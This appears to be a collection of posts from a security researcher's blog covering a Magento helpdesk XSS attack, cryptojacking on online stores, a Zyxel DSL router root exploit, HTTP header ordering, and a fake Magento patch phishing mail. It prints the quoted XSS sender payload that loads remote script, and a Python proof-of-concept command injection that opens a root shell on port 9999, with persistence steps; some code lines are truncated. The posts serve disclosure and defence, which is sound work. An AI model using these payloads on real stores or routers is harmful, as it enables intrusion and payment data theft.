Hackers breached Magento through helpdesk

Magento merchants have recently received messages like this:

Hey, I strongly recommend you to make a redesign! Please contact me if you need a good designer! – knockers@yahoo.com

Upon closer examination, the message contains a specially crafted sender that contains an XSS attack: an attempt to take control of the backend of a Magento store (archived copy here):

<script src="https://helpdeskjs.com/jquery.js"></script>@gmail.com

This exploits a bug in the popular Mirasvit Helpdesk extension. When a helpdesk agent opens the ticket, it will run the code in the background, in the browser of the agent. Then, malware is added to the footer of the Magento template, so that it is run by all store visitors. Ultimately, the malware intercepts payments data and send it offshore as the customer types it into the payment form.


This attack is particularly sophisticated, as it is able to bypass many security measures that a merchant might have taken. For example, IP restriction on the backend, strong passwords, 2-Factor-Authentication and using a VPN tunnel will not block this attack.

Have you been targeted?

Run this query on your database to find XSS attacks like these:

FROM `m_helpdesk_message`
WHERE `customer_email` LIKE '%script%'
OR `customer_name` LIKE '%<script%'
OR `body` LIKE '%<script%' \G

Search your access logs for modifications of templates through the backend:

$ grep system_config/save/section/design access.log

The Mirasvit Helpdesk flaw was discovered and published on September 21st, but - until now - hasn’t been seen exploited in the wild.

Meanwhile, Mirasvit has released an update for its helpdesk software (v1.5.3). It is recommended to install this as soon as possible.

Other recommendations for store owners to block this type of attack:

  1. Monitor your store for modified head/footer template insertions
  2. Add a CSP header to disallow foreign Javascript execution altogether

Do you have a compromised Magento store? I am available for forensic analysis to identify the root cause and sufficient mitigation measures. An analysis can usually be completed within a week and is 100% confidential.

I have added detection signatures to the open source Magento Malware Scanner.

Cryptojacking found on 2496 online stores

Does your laptop get hot when visiting your favorite shop? You computer is likely mining cryptocurrencies to the benefit of a cyberthief.

Cryptojacking disguising as Sucuri

Cryptojacking - running crypto mining software in the browser of unsuspecting visitors - is quickly spreading around the web. And the landgrab extends to online stores. The infamous CoinHive software was detected today on 2496 e-commerce sites.

Skimming and cryptomining, a golden match

Now, it does not seem likely that the legitimate store owners wanted to earn a few extra bucks and have added CoinHive themselves. I found that 80% of cryptomining stores also contain payment skimming malware. Apparently, cyberthieves are squeezing every penny out of their confiscated assets.

Spread fuelled by just a few individuals

As CoinHive requires a unique ID, we can analyze the distribution of crypto thieves. Out of 2496 infected stores, 85% is linked to only 2 CoinHive accounts, while the remaining 15% is spread out over unique CoinHive accounts. Because the tag added to this remaining 15% segment is consistenly the site’s name, my guess is that this cryptojacking surge on online stores can be attributed to just 3 individuals or groups.

Well hidden

Some sites bluntly include the official coinhive.js file, others are more stealthy and include an iframe that points to siteverification.online. This site shows a default Debian installation page but include a cryptominer nevertheless. Yet others disguise as Sucuri Firewall.

Fix for your browser

Use an adblocker or install a Chrome plugin or add coin-hive.com coinhive.com to your hosts file.

I have added detection signatures to the open source Magento Malware Scanner

Hacking the KPN Zyxel DSL router (P-2812HNU-F1)

zyxel p-2812uhn-f1

Zyxel P2812 DSL routers are commonly used in the Netherlands and Norway. A command injection vulnerability exists in the latest KPN/Telfort routers that allows root access.

Proof of concept exploit

Works against firmware V3.11TUE8. At least TUE3 is also affected, but requires slight modification (no sessionKey). Telenor branded Zyxel routers are not affected since at least BLN.18.

#!/usr/bin/env python3 
# 2017-02-03 gwillem@gmail.com

import requests
import re

USER = 'user'
PASS = '1234'
URL = ''
CMD = '/sbin/telnetd -l/bin/sh -p9999 &'

s = requests.Session()
s.post(URL + 'login.cgi', data=dict(
r = s.get(URL + 'fileuser_mod.cgi')
assert 'sessionKey' in r.text, r.text

sessionkey = re.search("gblsessionKey = '(.+?)'", r.text).group(1)
assert len(sessionkey) > 24, sessionkey

r = s.post(URL + 'qos_queue_add.cgi', data=dict(
        WebQueueInterface='WAN`%s`' % CMD,

if "window.parent.document.activePage('network-qos',1)" in r.text:
    print("Success, root shell at port 9999")
    print("Did not work, see output:\n" + r.text)


$ ./open-sesame.py
$ telnet 9999
Connected to
Escape character is '^]'.
# id
uid=0(root) gid=0(root)

Disclosure timeline

2017-02-05 Notified cert@kpn-cert.nl
2017-02-11 Notified cert@telenor.net
2017-02-15 KPN: "escalated to Zyxel"
2017-02-23 Telenor: "we have fixed this already in BLN18"
2017-02-23 KPN: "still waiting for Zyxel"
2017-04-07 KPN: "still waiting for Zyxel"
2017-05-08 KPN: "we got a patch"
2017-05-15 KPN: "still testing the patch"
2017-05-18 KPN: "still testing the patch"
2017-05-30 KPN: "still testing the patch"
2017-06-15 KPN: "testing failed, waiting for Zyxel"
2017-09-28 Public disclosure

Securing access

A firmware update will surely lock me out, and my goal is to override some of the Zyxels DNS settings. I ensure future access by eliminating the call-home and update mechanism (TR-069).

The /etc partition is mounted as tmpfs on a running system and populated in /etc/init.d/rcS. The root partition is mounted read-only. To persist my changes:

ls -l /proc/*/fd/* | grep etc
pkill smbd
pkill dnsmasq
# kill everything else that blocks
umount /etc
mount -t yaffs2 -o remount,rw /

Now I can alter /etc/init.d/rcS. Warning: a syntax error will brick my system. So it’s best to minize modifications to the system and put most of it on a USB memory stick.

My modified rcS script only copies a file to /etc/automount/automount.d/auto-usb-run.sh. This is run every time a USB disk is inserted. If the USB disk contains an init.sh file, it is executed. Extra profit: I only have to re-plug my USB stick to test changes to my script.

In my init.sh script, I’ll ensure to kill zytr069main. This process does a periodic check with my ISP and will possibly download new firmware.

zyxel p-2812uhn-f1

Zyxel rant

IMHO Zyxel’s hardware is quite ok, but the software tells a tale of tight deadlines and churn in the dev team. For example,

This Zyxel model was rooted before but it was fixed (incompletely) by stripping special characters in user input.

Note-to-self on firmware analysis

The ISP-branded firmware is not publicly available, but the latest Zyxel firmware is very similar and up for grabs.

Installed the latest binwalk and all its dependencies, especially yaffs and sasquatch.

Ran binwalk -eM <image> to extract the root filesystem. Under /usr/share/web I found the GUI system.

Ran strings on these binaries to find interesting pointers, for example, all binaries that do shell-interpreted system calls:

$ strings -f * | grep % | grep '>'
wlan_wps.cgi: %s conf > /dev/null
wwancfg.cgi: cp -rf %s %s >/dev/null 2>/dev/null
status.cgi: %s lsg | grep nLineState | awk '{print $2}' | sed -e 's/nLineState=0x*//g' > /tmp/linestatus
diagnostic.cgi: echo set to html %d,%s>> /dev/console

Useful tools: mitmproxy in combination with the SwitchySharp auto proxy switcher for Chrome.


  1. Zyxel firmware fixes are not necessarily distributed among all ISP clients.
  2. The Zyxel firmware does not seem subject to rigorous QA procedures, for which the burden is then shifted to ISPs.
  3. This is a killer for quick distribution of hot-fixes.

Why ordering HTTP headers is important

RFC 2616 in decay

If you code against Akamai hosted sites, you could be rejected because your HTTP library sends request headers in the wrong order. In fact, most libraries use undefined order, as the IETF specification says it doesn’t matter.

In casu:

$ URL=http://www.bulgari.com
$ UA="User-Agent: Mozilla/5.0 My API Client"
$ ACCEPT="Accept: */*"

$ curl -v -H "$UA" -H "$ACCEPT" $URL |& grep '< HTTP'
< HTTP/1.1 403 Forbidden

$ curl -v -H "$ACCEPT" -H "$UA" $URL |& grep '< HTTP'
< HTTP/1.1 302 Moved Temporarily

My guess: they identified that major browsers send HTTP headers in a specific order, and they implemented this trick to fend off spammers.

Update After some more experimenting, it appears that this behaviour depends on order and the Accept header:

$ ACCEPT="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"

$ curl -v -H "$UA" -H "$ACCEPT" $URL |& grep '< HTTP'
< HTTP/1.1 302 Moved Temporarily

$ curl -v -H "$ACCEPT" -H "$UA" $URL |& grep '< HTTP'
< HTTP/1.1 302 Moved Temporarily

Also, no block without Mozilla/5.0 in the User-Agent.

Conclusion: they will block your request if:

Update 2 Other sites at Akamai don’t expose this behaviour, so it could be a single site issue and/or a configurable setting.

(picture by Olli Homann)

Warning: fake Magento patch 9789 contains virus

virus mail

Update May 21st: a similar phishing mail circulates about a fake patch SUPEE-1798.

Update Apr 22nd: added reference to Neutrino Bot and POS systems

This week a mail was sent out to announce the new Magento patch SUPEE-9789. It is fake and it contains malware. There is no patch 9789. The message (full headers below) mimics an official Magento accouncement. It has two malicious payloads:

  1. An attached Word document with macro, identified as virus
  2. A request to run webpos.exe, which was identified as a new variety of the notorious Neutrino Bot (VirusTotal, Malwr).

This specific malware is known to target POS systems, a.k.a. cash registers. Among other things, it will harvest payment data and passwords, and enslave the cash register into a botnet that can be used for DDoS attacks.

Curiously, the malware is hosted on a server of MageStore, a legitimate vendor of POS systems. It appears that MageStore runs a vulnerable version of ProFTPd which allows anyone to upload files to their server. Unfortunately, MageStore couldn’t be reached, and the malware is still on their server as of April 22nd.

Please get in touch if you have received this message as we are trying to establish the scope of intended targets. So far, I’ve received reports from extension vendors and hosting providers.

Thanks to Andrew Howden for additional research.

Full headers:

Return-path: <info@magestore.com>
Envelope-to: REDACTED
Received: from mail.hal-pc.org ([])
	by REDACTED with esmtp (Exim 4.84_2)
	(envelope-from <info@magestore.com>)
	id 1d1OyU-0001Zw-Go
	for REDACTED; Fri, 21 Apr 2017 05:11:12 +0200
Received: from mail.hal-pc.org (localhost [])
	by mail.hal-pc.org (Postfix) with ESMTP id 66AD33E8AA7E
	for <REDACTED>; Thu, 20 Apr 2017 22:11:09 -0500 (CDT)
Received: from (unknown [])
	(Authenticated sender: jstan@hal-pc.org)
	by mail.hal-pc.org (Postfix) with ESMTPA id BA8DF3E8AA7D
	for <REDACTED>; Thu, 20 Apr 2017 22:11:03 -0500 (CDT)
Message-ID: <5BA1E85F5783AD1EC2C78E3226331470@magestore.com>
From: "info@magento.com" <info@magestore.com>
Subject: Critical updates for Magento 1.x and Magento 2.x versions - SUPEE-9789
Date: Thu, 20 Apr 2017 20:11:01 -0700
Organization: Magento.com
MIME-Version: 1.0